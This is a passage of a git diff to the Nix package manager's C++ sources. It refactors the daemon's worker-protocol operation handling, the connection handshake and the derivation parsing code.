NB: FramedSource must be out of scope before logger->stopWork(); - ContentAddressMethod contentAddressMethod = parseContentAddressMethod(camStr); - FramedSource source(from); - // TODO this is essentially RemoteStore::addCAToStore. Move it up to Store. - return std::visit(overloaded { - [&](TextHashMethod &) { - // We could stream this by changing Store - std::string contents = source.drain(); - auto path = store->addTextToStore(name, contents, refs, repair); - return store->queryPathInfo(path); - }, - [&](FixedOutputHashMethod & fohm) { - auto path = store->addToStoreFromDump(source, name, fohm.fileIngestionMethod, fohm.hashType, repair, refs); - return store->queryPathInfo(path); - }, - }, contentAddressMethod); + auto [contentAddressMethod, hashAlgo] = ContentAddressMethod::parseWithAlgo(camStr); + FramedSource source(conn.from); + FileSerialisationMethod dumpMethod; + switch (contentAddressMethod.getFileIngestionMethod()) { + case FileIngestionMethod::Flat: + dumpMethod = FileSerialisationMethod::Flat; + break; + case FileIngestionMethod::NixArchive: + dumpMethod = FileSerialisationMethod::NixArchive; + break; + case FileIngestionMethod::Git: + // Use NAR; Git is not a serialization method + dumpMethod = FileSerialisationMethod::NixArchive; + break; + default: + assert(false); + } + // TODO these two steps are essentially RemoteStore::addCAToStore. Move it up to Store. + auto path = store->addToStoreFromDump(source, name, dumpMethod, contentAddressMethod, hashAlgo, refs, repair); + return store->queryPathInfo(path); }(); logger->stopWork(); - pathInfo->write(to, *store, GET_PROTOCOL_MINOR(clientVersion)); + WorkerProto::Serialise::write(*store, wconn, *pathInfo); } else { - HashType hashAlgo; + HashAlgorithm hashAlgo; std::string baseName; - FileIngestionMethod method; + ContentAddressMethod method; { bool fixed; uint8_t recursive; std::string hashAlgoRaw; - from >> baseName >> fixed /* obsolete */ >> recursive >> hashAlgoRaw; - if (recursive > (uint8_t) FileIngestionMethod::Recursive) + conn.from >> baseName >> fixed /* obsolete */ >> recursive >> hashAlgoRaw; + if (recursive > true) throw Error("unsupported FileIngestionMethod with value of %i; you may need to upgrade nix-daemon", recursive); - method = FileIngestionMethod { recursive }; + method = recursive + ? ContentAddressMethod::Raw::NixArchive + : ContentAddressMethod::Raw::Flat; /* Compatibility hack. */ if (!fixed) { hashAlgoRaw = "sha256"; - method = FileIngestionMethod::Recursive; + method = ContentAddressMethod::Raw::NixArchive; } - hashAlgo = parseHashType(hashAlgoRaw); + hashAlgo = parseHashAlgo(hashAlgoRaw); } + // Old protocol always sends NAR, regardless of hashing method auto dumpSource = sinkToSource([&](Sink & saved) { - if (method == FileIngestionMethod::Recursive) { - /* We parse the NAR dump through into `saved` unmodified, - so why all this extra work? We still parse the NAR so - that we aren't sending arbitrary data to `saved` - unwittingly`, and we know when the NAR ends so we don't - consume the rest of `from` and can't parse another - command. (We don't trust `addToStoreFromDump` to not - eagerly consume the entire stream it's given, past the - length of the Nar. */ - TeeSource savedNARSource(from, saved); - ParseSink sink; /* null sink; just parse the NAR */ - parseDump(sink, savedNARSource); - } else { - /* Incrementally parse the NAR file, stripping the - metadata, and streaming the sole file we expect into - `saved`. */ - RetrieveRegularNARSink savedRegular { saved }; - parseDump(savedRegular, from); - if (!savedRegular.regular) throw Error("regular file expected"); - } + /* We parse the NAR dump through into `saved` unmodified, + so why all this extra work? We still parse the NAR so + that we aren't sending arbitrary data to `saved` + unwittingly`, and we know when the NAR ends so we don't + consume the rest of `conn.from` and can't parse another + command. (We don't trust `addToStoreFromDump` to not + eagerly consume the entire stream it's given, past the + length of the Nar. */ + TeeSource savedNARSource(conn.from, saved); + NullFileSystemObjectSink sink; /* just parse the NAR */ + parseDump(sink, savedNARSource); }); logger->startWork(); - auto path = store->addToStoreFromDump(*dumpSource, baseName, method, hashAlgo); + auto path = store->addToStoreFromDump( + *dumpSource, baseName, FileSerialisationMethod::NixArchive, method, hashAlgo); logger->stopWork(); - to << store->printStorePath(path); + conn.to << store->printStorePath(path); } break; } - case wopAddMultipleToStore: { + case WorkerProto::Op::AddMultipleToStore: { bool repair, dontCheckSigs; - from >> repair >> dontCheckSigs; + conn.from >> repair >> dontCheckSigs; if (!trusted && dontCheckSigs) dontCheckSigs = false; logger->startWork(); { - FramedSource source(from); + FramedSource source(conn.from); store->addMultipleToStore(source, RepairFlag{repair}, dontCheckSigs ? NoCheckSigs : CheckSigs); @@ -483,65 +489,77 @@ static void performOp(TunnelLogger * logger, ref store, break; } - case wopAddTextToStore: { - std::string suffix = readString(from); - std::string s = readString(from); - auto refs = worker_proto::read(*store, from, Phantom {}); + case WorkerProto::Op::AddTextToStore: { + std::string suffix = readString(conn.from); + std::string s = readString(conn.from); + auto refs = WorkerProto::Serialise::read(*store, rconn); logger->startWork(); - auto path = store->addTextToStore(suffix, s, refs, NoRepair); + auto path = ({ + StringSource source { s }; + store->addToStoreFromDump(source, suffix, FileSerialisationMethod::Flat, ContentAddressMethod::Raw::Text, HashAlgorithm::SHA256, refs, NoRepair); + }); logger->stopWork(); - to << store->printStorePath(path); + conn.to << store->printStorePath(path); break; } - case wopExportPath: { - auto path = store->parseStorePath(readString(from)); - readInt(from); // obsolete + case WorkerProto::Op::ExportPath: { + auto path = store->parseStorePath(readString(conn.from)); + readInt(conn.from); // obsolete logger->startWork(); - TunnelSink sink(to); + TunnelSink sink(conn.to); store->exportPath(path, sink); logger->stopWork(); - to << 1; + conn.to << 1; break; } - case wopImportPaths: { + case WorkerProto::Op::ImportPaths: { logger->startWork(); - TunnelSource source(from, to); + TunnelSource source(conn.from, conn.to); auto paths = store->importPaths(source, trusted ? NoCheckSigs : CheckSigs); logger->stopWork(); Strings paths2; for (auto & i : paths) paths2.push_back(store->printStorePath(i)); - to << paths2; + conn.to << paths2; break; } - case wopBuildPaths: { - auto drvs = readDerivedPaths(*store, clientVersion, from); + case WorkerProto::Op::BuildPaths: { + auto drvs = WorkerProto::Serialise::read(*store, rconn); BuildMode mode = bmNormal; - if (GET_PROTOCOL_MINOR(clientVersion) >= 15) { - mode = (BuildMode) readInt(from); + if (GET_PROTOCOL_MINOR(conn.protoVersion) >= 15) { + mode = WorkerProto::Serialise::read(*store, rconn); /* Repairing is not atomic, so disallowed for "untrusted" - clients. */ + clients. + + FIXME: layer violation in this message: the daemon code (i.e. + this file) knows whether a client/connection is trusted, but it + does not how how the client was authenticated. The mechanism + need not be getting the UID of the other end of a Unix Domain + Socket. + */ if (mode == bmRepair && !trusted) throw Error("repairing is not allowed because you are not in 'trusted-users'"); } logger->startWork(); store->buildPaths(drvs, mode); logger->stopWork(); - to << 1; + conn.to << 1; break; } - case wopBuildPathsWithResults: { - auto drvs = readDerivedPaths(*store, clientVersion, from); + case WorkerProto::Op::BuildPathsWithResults: { + auto drvs = WorkerProto::Serialise::read(*store, rconn); BuildMode mode = bmNormal; - mode = (BuildMode) readInt(from); + mode = WorkerProto::Serialise::read(*store, rconn); /* Repairing is not atomic, so disallowed for "untrusted" - clients. */ + clients. + + FIXME: layer violation; see above. */ if (mode == bmRepair && !trusted) throw Error("repairing is not allowed because you are not in 'trusted-users'"); @@ -549,16 +567,25 @@ static void performOp(TunnelLogger * logger, ref store, auto results = store->buildPathsWithResults(drvs, mode); logger->stopWork(); - worker_proto::write(*store, to, results); + WorkerProto::write(*store, wconn, results); break; } - case wopBuildDerivation: { - auto drvPath = store->parseStorePath(readString(from)); + case WorkerProto::Op::BuildDerivation: { + auto drvPath = store->parseStorePath(readString(conn.from)); BasicDerivation drv; - readDerivation(from, *store, drv, Derivation::nameFromPath(drvPath)); - BuildMode buildMode = (BuildMode) readInt(from); + /* + * Note: unlike wopEnsurePath, this operation reads a + * derivation-to-be-realized from the client with + * readDerivation(Source,Store) rather than reading it from + * the local store with Store::readDerivation(). Since the + * derivation-to-be-realized is not registered in the store + * it cannot be trusted that its outPath was calculated + * correctly. + */ + readDerivation(conn.from, *store, drv, Derivation::nameFromPath(drvPath)); + auto buildMode = WorkerProto::Serialise::read(*store, rconn); logger->startWork(); auto drvType = drv.type(); @@ -618,55 +645,64 @@ static void performOp(TunnelLogger * logger, ref store, auto res = store->buildDerivation(drvPath, drv, buildMode); logger->stopWork(); - to << res.status << res.errorMsg; - if (GET_PROTOCOL_MINOR(clientVersion) >= 29) { - to << res.timesBuilt << res.isNonDeterministic << res.startTime << res.stopTime; - } - if (GET_PROTOCOL_MINOR(clientVersion) >= 28) { - worker_proto::write(*store, to, res.builtOutputs); - } + WorkerProto::write(*store, wconn, res); break; } - case wopEnsurePath: { - auto path = store->parseStorePath(readString(from)); + case WorkerProto::Op::EnsurePath: { + auto path = store->parseStorePath(readString(conn.from)); logger->startWork(); store->ensurePath(path); logger->stopWork(); - to << 1; + conn.to << 1; break; } - case wopAddTempRoot: { - auto path = store->parseStorePath(readString(from)); + case WorkerProto::Op::AddTempRoot: { + auto path = store->parseStorePath(readString(conn.from)); logger->startWork(); store->addTempRoot(path); logger->stopWork(); - to << 1; + conn.to << 1; break; } - case wopAddIndirectRoot: { - Path path = absPath(readString(from)); + case WorkerProto::Op::AddPermRoot: { + if (!trusted) + throw Error( + "you are not privileged to create perm roots\n\n" + "hint: you can just do this client-side without special privileges, and probably want to do that instead."); + auto storePath = WorkerProto::Serialise::read(*store, rconn); + Path gcRoot = absPath(readString(conn.from)); + logger->startWork(); + auto & localFSStore = require(*store); + localFSStore.addPermRoot(storePath, gcRoot); + logger->stopWork(); + conn.to << gcRoot; + break; + } + + case WorkerProto::Op::AddIndirectRoot: { + Path path = absPath(readString(conn.from)); logger->startWork(); - auto & gcStore = require(*store); - gcStore.addIndirectRoot(path); + auto & indirectRootStore = require(*store); + indirectRootStore.addIndirectRoot(path); logger->stopWork(); - to << 1; + conn.to << 1; break; } // Obsolete. - case wopSyncWithGC: { + case WorkerProto::Op::SyncWithGC: { logger->startWork(); logger->stopWork(); - to << 1; + conn.to << 1; break; } - case wopFindRoots: { + case WorkerProto::Op::FindRoots: { logger->startWork(); auto & gcStore = require(*store); Roots roots = gcStore.findRoots(!trusted); @@ -676,24 +712,24 @@ static void performOp(TunnelLogger * logger, ref store, for (auto & i : roots) size += i.second.size(); - to << size; + conn.to << size; for (auto & [target, links] : roots) for (auto & link : links) - to << link << store->printStorePath(target); + conn.to << link << store->printStorePath(target); break; } - case wopCollectGarbage: { + case WorkerProto::Op::CollectGarbage: { GCOptions options; - options.action = (GCOptions::GCAction) readInt(from); - options.pathsToDelete = worker_proto::read(*store, from, Phantom {}); - from >> options.ignoreLiveness >> options.maxFreed; + options.action = (GCOptions::GCAction) readInt(conn.from); + options.pathsToDelete = WorkerProto::Serialise::read(*store, rconn); + conn.from >> options.ignoreLiveness >> options.maxFreed; // obsolete fields - readInt(from); - readInt(from); - readInt(from); + readInt(conn.from); + readInt(conn.from); + readInt(conn.from); GCResults results; @@ -704,33 +740,33 @@ static void performOp(TunnelLogger * logger, ref store, gcStore.collectGarbage(options, results); logger->stopWork(); - to << results.paths << results.bytesFreed << 0 /* obsolete */; + conn.to << results.paths << results.bytesFreed << 0 /* obsolete */; break; } - case wopSetOptions: { + case WorkerProto::Op::SetOptions: { ClientSettings clientSettings; - clientSettings.keepFailed = readInt(from); - clientSettings.keepGoing = readInt(from); - clientSettings.tryFallback = readInt(from); - clientSettings.verbosity = (Verbosity) readInt(from); - clientSettings.maxBuildJobs = readInt(from); - clientSettings.maxSilentTime = readInt(from); - readInt(from); // obsolete useBuildHook - clientSettings.verboseBuild = lvlError == (Verbosity) readInt(from); - readInt(from); // obsolete logType - readInt(from); // obsolete printBuildTrace - clientSettings.buildCores = readInt(from); - clientSettings.useSubstitutes = readInt(from); + clientSettings.keepFailed = readInt(conn.from); + clientSettings.keepGoing = readInt(conn.from); + clientSettings.tryFallback = readInt(conn.from); + clientSettings.verbosity = (Verbosity) readInt(conn.from); + clientSettings.maxBuildJobs = readInt(conn.from); + clientSettings.maxSilentTime = readInt(conn.from); + readInt(conn.from); // obsolete useBuildHook + clientSettings.verboseBuild = lvlError == (Verbosity) readInt(conn.from); + readInt(conn.from); // obsolete logType + readInt(conn.from); // obsolete printBuildTrace + clientSettings.buildCores = readInt(conn.from); + clientSettings.useSubstitutes = readInt(conn.from); - if (GET_PROTOCOL_MINOR(clientVersion) >= 12) { - unsigned int n = readInt(from); + if (GET_PROTOCOL_MINOR(conn.protoVersion) >= 12) { + unsigned int n = readInt(conn.from); for (unsigned int i = 0; i < n; i++) { - auto name = readString(from); - auto value = readString(from); + auto name = readString(conn.from); + auto value = readString(conn.from); clientSettings.overrides.emplace(name, value); } } @@ -746,137 +782,135 @@ static void performOp(TunnelLogger * logger, ref store, break; } - case wopQuerySubstitutablePathInfo: { - auto path = store->parseStorePath(readString(from)); + case WorkerProto::Op::QuerySubstitutablePathInfo: { + auto path = store->parseStorePath(readString(conn.from)); logger->startWork(); SubstitutablePathInfos infos; store->querySubstitutablePathInfos({{path, std::nullopt}}, infos); logger->stopWork(); auto i = infos.find(path); if (i == infos.end()) - to << 0; + conn.to << 0; else { - to << 1 + conn.to << 1 << (i->second.deriver ? store->printStorePath(*i->second.deriver) : ""); - worker_proto::write(*store, to, i->second.references); - to << i->second.downloadSize - << i->second.narSize; + WorkerProto::write(*store, wconn, i->second.references); + conn.to << i->second.downloadSize + << i->second.narSize; } break; } - case wopQuerySubstitutablePathInfos: { + case WorkerProto::Op::QuerySubstitutablePathInfos: { SubstitutablePathInfos infos; StorePathCAMap pathsMap = {}; - if (GET_PROTOCOL_MINOR(clientVersion) < 22) { - auto paths = worker_proto::read(*store, from, Phantom {}); + if (GET_PROTOCOL_MINOR(conn.protoVersion) < 22) { + auto paths = WorkerProto::Serialise::read(*store, rconn); for (auto & path : paths) pathsMap.emplace(path, std::nullopt); } else - pathsMap = worker_proto::read(*store, from, Phantom {}); + pathsMap = WorkerProto::Serialise::read(*store, rconn); logger->startWork(); store->querySubstitutablePathInfos(pathsMap, infos); logger->stopWork(); - to << infos.size(); + conn.to << infos.size(); for (auto & i : infos) { - to << store->printStorePath(i.first) - << (i.second.deriver ? store->printStorePath(*i.second.deriver) : ""); - worker_proto::write(*store, to, i.second.references); - to << i.second.downloadSize << i.second.narSize; + conn.to << store->printStorePath(i.first) + << (i.second.deriver ? store->printStorePath(*i.second.deriver) : ""); + WorkerProto::write(*store, wconn, i.second.references); + conn.to << i.second.downloadSize << i.second.narSize; } break; } - case wopQueryAllValidPaths: { + case WorkerProto::Op::QueryAllValidPaths: { logger->startWork(); auto paths = store->queryAllValidPaths(); logger->stopWork(); - worker_proto::write(*store, to, paths); + WorkerProto::write(*store, wconn, paths); break; } - case wopQueryPathInfo: { - auto path = store->parseStorePath(readString(from)); + case WorkerProto::Op::QueryPathInfo: { + auto path = store->parseStorePath(readString(conn.from)); std::shared_ptr info; logger->startWork(); try { info = store->queryPathInfo(path); } catch (InvalidPath &) { - if (GET_PROTOCOL_MINOR(clientVersion) < 17) throw; + if (GET_PROTOCOL_MINOR(conn.protoVersion) < 17) throw; } logger->stopWork(); if (info) { - if (GET_PROTOCOL_MINOR(clientVersion) >= 17) - to << 1; - info->write(to, *store, GET_PROTOCOL_MINOR(clientVersion), false); + if (GET_PROTOCOL_MINOR(conn.protoVersion) >= 17) + conn.to << 1; + WorkerProto::write(*store, wconn, static_cast(*info)); } else { - assert(GET_PROTOCOL_MINOR(clientVersion) >= 17); - to << 0; + assert(GET_PROTOCOL_MINOR(conn.protoVersion) >= 17); + conn.to << 0; } break; } - case wopOptimiseStore: + case WorkerProto::Op::OptimiseStore: logger->startWork(); store->optimiseStore(); logger->stopWork(); - to << 1; + conn.to << 1; break; - case wopVerifyStore: { + case WorkerProto::Op::VerifyStore: { bool checkContents, repair; - from >> checkContents >> repair; + conn.from >> checkContents >> repair; logger->startWork(); if (repair && !trusted) throw Error("you are not privileged to repair paths"); bool errors = store->verifyStore(checkContents, (RepairFlag) repair); logger->stopWork(); - to << errors; + conn.to << errors; break; } - case wopAddSignatures: { - auto path = store->parseStorePath(readString(from)); - StringSet sigs = readStrings(from); + case WorkerProto::Op::AddSignatures: { + auto path = store->parseStorePath(readString(conn.from)); + StringSet sigs = readStrings(conn.from); logger->startWork(); - if (!trusted) - throw Error("you are not privileged to add signatures"); store->addSignatures(path, sigs); logger->stopWork(); - to << 1; + conn.to << 1; break; } - case wopNarFromPath: { - auto path = store->parseStorePath(readString(from)); + case WorkerProto::Op::NarFromPath: { + auto path = store->parseStorePath(readString(conn.from)); logger->startWork(); logger->stopWork(); - dumpPath(store->toRealPath(path), to); + dumpPath(store->toRealPath(path), conn.to); break; } - case wopAddToStoreNar: { + case WorkerProto::Op::AddToStoreNar: { bool repair, dontCheckSigs; - auto path = store->parseStorePath(readString(from)); - auto deriver = readString(from); - auto narHash = Hash::parseAny(readString(from), htSHA256); + auto path = store->parseStorePath(readString(conn.from)); + auto deriver = readString(conn.from); + auto narHash = Hash::parseAny(readString(conn.from), HashAlgorithm::SHA256); ValidPathInfo info { path, narHash }; if (deriver != "") info.deriver = store->parseStorePath(deriver); - info.references = worker_proto::read(*store, from, Phantom {}); - from >> info.registrationTime >> info.narSize >> info.ultimate; - info.sigs = readStrings(from); - info.ca = parseContentAddressOpt(readString(from)); - from >> repair >> dontCheckSigs; + info.references = WorkerProto::Serialise::read(*store, rconn); + conn.from >> info.registrationTime >> info.narSize >> info.ultimate; + info.sigs = readStrings(conn.from); + info.ca = ContentAddress::parseOpt(readString(conn.from)); + conn.from >> repair >> dontCheckSigs; if (!trusted && dontCheckSigs) dontCheckSigs = false; if (!trusted) info.ultimate = false; - if (GET_PROTOCOL_MINOR(clientVersion) >= 23) { + if (GET_PROTOCOL_MINOR(conn.protoVersion) >= 23) { logger->startWork(); { - FramedSource source(from); + FramedSource source(conn.from); store->addToStore(info, source, (RepairFlag) repair, dontCheckSigs ? NoCheckSigs : CheckSigs); } @@ -886,11 +920,11 @@ static void performOp(TunnelLogger * logger, ref store, else { std::unique_ptr source; StringSink saved; - if (GET_PROTOCOL_MINOR(clientVersion) >= 21) - source = std::make_unique(from, to); + if (GET_PROTOCOL_MINOR(conn.protoVersion) >= 21) + source = std::make_unique(conn.from, conn.to); else { - TeeSource tee { from, saved }; - ParseSink ether; + TeeSource tee { conn.from, saved }; + NullFileSystemObjectSink ether; parseDump(ether, tee); source = std::make_unique(saved.s); } @@ -907,69 +941,73 @@ static void performOp(TunnelLogger * logger, ref store, break; } - case wopQueryMissing: { - auto targets = readDerivedPaths(*store, clientVersion, from); + case WorkerProto::Op::QueryMissing: { + auto targets = WorkerProto::Serialise::read(*store, rconn); logger->startWork(); StorePathSet willBuild, willSubstitute, unknown; uint64_t downloadSize, narSize; store->queryMissing(targets, willBuild, willSubstitute, unknown, downloadSize, narSize); logger->stopWork(); - worker_proto::write(*store, to, willBuild); - worker_proto::write(*store, to, willSubstitute); - worker_proto::write(*store, to, unknown); - to << downloadSize << narSize; + WorkerProto::write(*store, wconn, willBuild); + WorkerProto::write(*store, wconn, willSubstitute); + WorkerProto::write(*store, wconn, unknown); + conn.to << downloadSize << narSize; break; } - case wopRegisterDrvOutput: { + case WorkerProto::Op::RegisterDrvOutput: { logger->startWork(); - if (GET_PROTOCOL_MINOR(clientVersion) < 31) { - auto outputId = DrvOutput::parse(readString(from)); - auto outputPath = StorePath(readString(from)); + if (GET_PROTOCOL_MINOR(conn.protoVersion) < 31) { + auto outputId = DrvOutput::parse(readString(conn.from)); + auto outputPath = StorePath(readString(conn.from)); store->registerDrvOutput(Realisation{ .id = outputId, .outPath = outputPath}); } else { - auto realisation = worker_proto::read(*store, from, Phantom()); + auto realisation = WorkerProto::Serialise::read(*store, rconn); store->registerDrvOutput(realisation); } logger->stopWork(); break; } - case wopQueryRealisation: { + case WorkerProto::Op::QueryRealisation: { logger->startWork(); - auto outputId = DrvOutput::parse(readString(from)); + auto outputId = DrvOutput::parse(readString(conn.from)); auto info = store->queryRealisation(outputId); logger->stopWork(); - if (GET_PROTOCOL_MINOR(clientVersion) < 31) { + if (GET_PROTOCOL_MINOR(conn.protoVersion) < 31) { std::set outPaths; if (info) outPaths.insert(info->outPath); - worker_proto::write(*store, to, outPaths); + WorkerProto::write(*store, wconn, outPaths); } else { std::set realisations; if (info) realisations.insert(*info); - worker_proto::write(*store, to, realisations); + WorkerProto::write(*store, wconn, realisations); } break; } - case wopAddBuildLog: { - StorePath path{readString(from)}; + case WorkerProto::Op::AddBuildLog: { + StorePath path{readString(conn.from)}; logger->startWork(); if (!trusted) throw Error("you are not privileged to add logs"); auto & logStore = require(*store); { - FramedSource source(from); + FramedSource source(conn.from); StringSink sink; source.drainInto(sink); logStore.addBuildLog(path, sink.s); } logger->stopWork(); - to << 1; + conn.to << 1; break; } + case WorkerProto::Op::QueryFailedPaths: + case WorkerProto::Op::ClearFailedPaths: + throw Error("Removed operation %1%", op); + default: throw Error("invalid operation %1%", op); } @@ -977,25 +1015,30 @@ static void performOp(TunnelLogger * logger, ref store, void processConnection( ref store, - FdSource & from, - FdSink & to, + FdSource && from, + FdSink && to, TrustedFlag trusted, - RecursiveFlag recursive, - std::function authHook) + RecursiveFlag recursive) { +#ifndef _WIN32 // TODO need graceful async exit support on Windows? auto monitor = !recursive ? std::make_unique(from.fd) : nullptr; +#endif /* Exchange the greeting. */ - unsigned int magic = readInt(from); - if (magic != WORKER_MAGIC_1) throw Error("protocol mismatch"); - to << WORKER_MAGIC_2 << PROTOCOL_VERSION; - to.flush(); - unsigned int clientVersion = readInt(from); + auto [protoVersion, features] = + WorkerProto::BasicServerConnection::handshake( + to, from, PROTOCOL_VERSION, WorkerProto::allFeatures); - if (clientVersion < 0x10a) + if (protoVersion < 0x10a) throw Error("the Nix client version is too old"); - auto tunnelLogger = new TunnelLogger(to, clientVersion); + WorkerProto::BasicServerConnection conn; + conn.to = std::move(to); + conn.from = std::move(from); + conn.protoVersion = protoVersion; + conn.features = features; + + auto tunnelLogger = new TunnelLogger(conn.to, protoVersion); auto prevLogger = nix::logger; // FIXME if (!recursive) @@ -1004,38 +1047,32 @@ void processConnection( unsigned int opCount = 0; Finally finally([&]() { - _isInterrupted = false; + setInterrupted(false); printMsgUsing(prevLogger, lvlDebug, "%d operations", opCount); }); - if (GET_PROTOCOL_MINOR(clientVersion) >= 14 && readInt(from)) { - // Obsolete CPU affinity. - readInt(from); - } - - if (GET_PROTOCOL_MINOR(clientVersion) >= 11) - readInt(from); // obsolete reserveSpace - - if (GET_PROTOCOL_MINOR(clientVersion) >= 33) - to << nixVersion; + conn.postHandshake(*store, { + .daemonNixVersion = nixVersion, + // We and the underlying store both need to trust the client for + // it to be trusted. + .remoteTrustsUs = trusted + ? store->isTrustedClient() + : std::optional { NotTrusted }, + }); /* Send startup error messages to the client. */ tunnelLogger->startWork(); try { - /* If we can't accept clientVersion, then throw an error - *here* (not above). */ - authHook(*store); - tunnelLogger->stopWork(); - to.flush(); + conn.to.flush(); /* Process client requests. */ while (true) { - WorkerOp op; + WorkerProto::Op op; try { - op = (WorkerOp) readInt(from); + op = (enum WorkerProto::Op) readInt(conn.from); } catch (Interrupted & e) { break; } catch (EndOfFile & e) { @@ -1046,8 +1083,10 @@ void processConnection( opCount++; + debug("performing daemon worker op: %d", op); + try { - performOp(tunnelLogger, store, trusted, recursive, clientVersion, from, to, op); + performOp(tunnelLogger, store, trusted, recursive, conn, op); } catch (Error & e) { /* If we're not in a state where we can send replies, then something went wrong processing the input of the @@ -1063,19 +1102,19 @@ void processConnection( throw; } - to.flush(); + conn.to.flush(); assert(!tunnelLogger->state_.lock()->canSendStderr); }; } catch (Error & e) { tunnelLogger->stopWork(&e); - to.flush(); + conn.to.flush(); return; } catch (std::exception & e) { auto ex = Error(e.what()); tunnelLogger->stopWork(&ex); - to.flush(); + conn.to.flush(); return; } } diff --git a/src/libstore/daemon.hh b/src/libstore/daemon.hh index 67755d54e..a8ce32d8d 100644 --- a/src/libstore/daemon.hh +++ b/src/libstore/daemon.hh @@ -1,23 +1,18 @@ #pragma once +///@file #include "serialise.hh" #include "store-api.hh" namespace nix::daemon { -enum TrustedFlag : bool { NotTrusted = false, Trusted = true }; enum RecursiveFlag : bool { NotRecursive = false, Recursive = true }; void processConnection( ref store, - FdSource & from, - FdSink & to, + FdSource && from, + FdSink && to, TrustedFlag trusted, - RecursiveFlag recursive, - /* Arbitrary hook to check authorization / initialize user data / whatever - after the protocol has been negotiated. The idea is that this function - and everything it calls doesn't know about this stuff, and the - `nix-daemon` handles that instead. */ - std::function authHook); + RecursiveFlag recursive); } diff --git a/src/libstore/derivations.cc b/src/libstore/derivations.cc index 42a53912e..8f9c71851 100644 --- a/src/libstore/derivations.cc +++ b/src/libstore/derivations.cc @@ -1,14 +1,20 @@ #include "derivations.hh" +#include "downstream-placeholder.hh" #include "store-api.hh" #include "globals.hh" +#include "types.hh" #include "util.hh" -#include "worker-protocol.hh" -#include "fs-accessor.hh" +#include "split.hh" +#include "common-protocol.hh" +#include "common-protocol-impl.hh" #include +#include + +#include "strings-inline.hh" namespace nix { -std::optional DerivationOutput::path(const Store & store, std::string_view drvName, std::string_view outputName) const +std::optional DerivationOutput::path(const StoreDirConfig & store, std::string_view drvName, OutputNameView outputName) const { return std::visit(overloaded { [](const DerivationOutput::InputAddressed & doi) -> std::optional { @@ -28,15 +34,15 @@ std::optional DerivationOutput::path(const Store & store, std::string [](const DerivationOutput::Impure &) -> std::optional { return std::nullopt; }, - }, raw()); + }, raw); } -StorePath DerivationOutput::CAFixed::path(const Store & store, std::string_view drvName, std::string_view outputName) const +StorePath DerivationOutput::CAFixed::path(const StoreDirConfig & store, std::string_view drvName, OutputNameView outputName) const { - return store.makeFixedOutputPath( - hash.method, hash.hash, - outputPathName(drvName, outputName)); + return store.makeFixedOutputPathFromCA( + outputPathName(drvName, outputName), + ContentAddressWithReferences::withoutRefs(ca)); } @@ -56,7 +62,7 @@ bool DerivationType::isCA() const [](const Impure &) { return true; }, - }, raw()); + }, raw); } bool DerivationType::isFixed() const @@ -71,7 +77,7 @@ bool DerivationType::isFixed() const [](const Impure &) { return false; }, - }, raw()); + }, raw); } bool DerivationType::hasKnownOutputPaths() const @@ -86,7 +92,7 @@ bool DerivationType::hasKnownOutputPaths() const [](const Impure &) { return false; }, - }, raw()); + }, raw); } @@ -102,23 +108,23 @@ bool DerivationType::isSandboxed() const [](const Impure &) { return false; }, - }, raw()); + }, raw); } -bool DerivationType::isPure() const +bool DerivationType::isImpure() const { return std::visit(overloaded { [](const InputAddressed & ia) { - return true; - }, - [](const ContentAddressed & ca) { - return true; - }, - [](const Impure &) { return false; }, - }, raw()); + [](const ContentAddressed & ca) { + return false; + }, + [](const Impure &) { + return true; + }, + }, raw); } @@ -132,7 +138,7 @@ StorePath writeDerivation(Store & store, const Derivation & drv, RepairFlag repair, bool readOnly) { auto references = drv.inputSrcs; - for (auto & i : drv.inputDrvs) + for (auto & i : drv.inputDrvs.map) references.insert(i.first); /* Note that the outputs of a derivation are *not* references (that can be missing (of course) and should not necessarily be @@ -140,36 +146,89 @@ StorePath writeDerivation(Store & store, auto suffix = std::string(drv.name) + drvExtension; auto contents = drv.unparse(store, false); return readOnly || settings.readOnlyMode - ? store.computeStorePathForText(suffix, contents, references) - : store.addTextToStore(suffix, contents, references, repair); + ? store.makeFixedOutputPathFromCA(suffix, TextInfo { + .hash = hashString(HashAlgorithm::SHA256, contents), + .references = std::move(references), + }) + : ({ + StringSource s { contents }; + store.addToStoreFromDump(s, suffix, FileSerialisationMethod::Flat, ContentAddressMethod::Raw::Text, HashAlgorithm::SHA256, references, repair); + }); +} + + +namespace { +/** + * This mimics std::istream to some extent. We use this much smaller implementation + * instead of plain istreams because the sentry object overhead is too high. + */ +struct StringViewStream { + std::string_view remaining; + + int peek() const { + return remaining.empty() ? EOF : remaining[0]; + } + + int get() { + if (remaining.empty()) return EOF; + char c = remaining[0]; + remaining.remove_prefix(1); + return c; + } +}; + +constexpr struct Escapes { + char map[256]; + constexpr Escapes() { + for (int i = 0; i < 256; i++) map[i] = (char) (unsigned char) i; + map[(int) (unsigned char) 'n'] = '\n'; + map[(int) (unsigned char) 'r'] = '\r'; + map[(int) (unsigned char) 't'] = '\t'; + } + char operator[](char c) const { return map[(unsigned char) c]; } +} escapes; } /* Read string `s' from stream `str'. */ -static void expect(std::istream & str, std::string_view s) +static void expect(StringViewStream & str, std::string_view s) { - char s2[s.size()]; - str.read(s2, s.size()); - if (std::string(s2, s.size()) != s) + if (!str.remaining.starts_with(s)) throw FormatError("expected string '%1%'", s); + str.remaining.remove_prefix(s.size()); } /* Read a C-style string from stream `str'. */ -static std::string parseString(std::istream & str) +static BackedStringView parseString(StringViewStream & str) { - std::string res; expect(str, "\""); - int c; - while ((c = str.get()) != '"') - if (c == '\\') { - c = str.get(); - if (c == 'n') res += '\n'; - else if (c == 'r') res += '\r'; - else if (c == 't') res += '\t'; - else res += c; + auto c = str.remaining.begin(), end = str.remaining.end(); + bool escaped = false; + for (; c != end && *c != '"'; c++) { + if (*c == '\\') { + c++; + if (c == end) + throw FormatError("unterminated string in derivation"); + escaped = true; } - else res += c; + } + + const auto contentLen = c - str.remaining.begin(); + const auto content = str.remaining.substr(0, contentLen); + str.remaining.remove_prefix(contentLen + 1); + + if (!escaped) + return content; + + std::string res; + res.reserve(content.size()); + for (c = content.begin(), end = content.end(); c != end; c++) + if (*c == '\\') { + c++; + res += escapes[*c]; + } + else res += *c; return res; } @@ -178,15 +237,15 @@ static void validatePath(std::string_view s) { throw FormatError("bad path '%1%' in derivation", s); } -static Path parsePath(std::istream & str) +static BackedStringView parsePath(StringViewStream & str) { auto s = parseString(str); - validatePath(s); + validatePath(*s); return s; } -static bool endOfList(std::istream & str) +static bool endOfList(StringViewStream & str) { if (str.peek() == ',') { str.get(); @@ -200,46 +259,50 @@ static bool endOfList(std::istream & str) } -static StringSet parseStrings(std::istream & str, bool arePaths) +static StringSet 